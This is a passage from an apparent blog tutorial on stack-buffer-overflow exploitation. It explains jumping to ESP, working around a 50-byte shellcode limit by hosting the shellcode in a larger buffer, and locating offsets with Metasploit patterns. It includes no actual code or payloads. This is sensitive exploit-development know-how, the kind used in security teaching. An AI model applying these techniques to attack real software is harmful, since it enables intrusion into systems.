So this is it. We can jump to ESP to execute some code, but we only have 50 bytes to spend on shellcode. We also see other parts of our buffer at a lower position in the stack… in fact, when we continue to dump the contents of ESP, we have a huge buffer filled with A’s…
Luckily there is a way to host the shellcode in the A’s and use the X’s to jump to the A’s. In order to make this happen, we need a couple of things
We can find the exact position by using guesswork, by using custom patterns, or by using one of metasploits patterns.
We’ll use one of metasploit’s patterns… we’ll start with a small one (so if we are looking at the start of the A’s, then we would not have to work with large amount of character patterns :-)
0 comments:
Post a Comment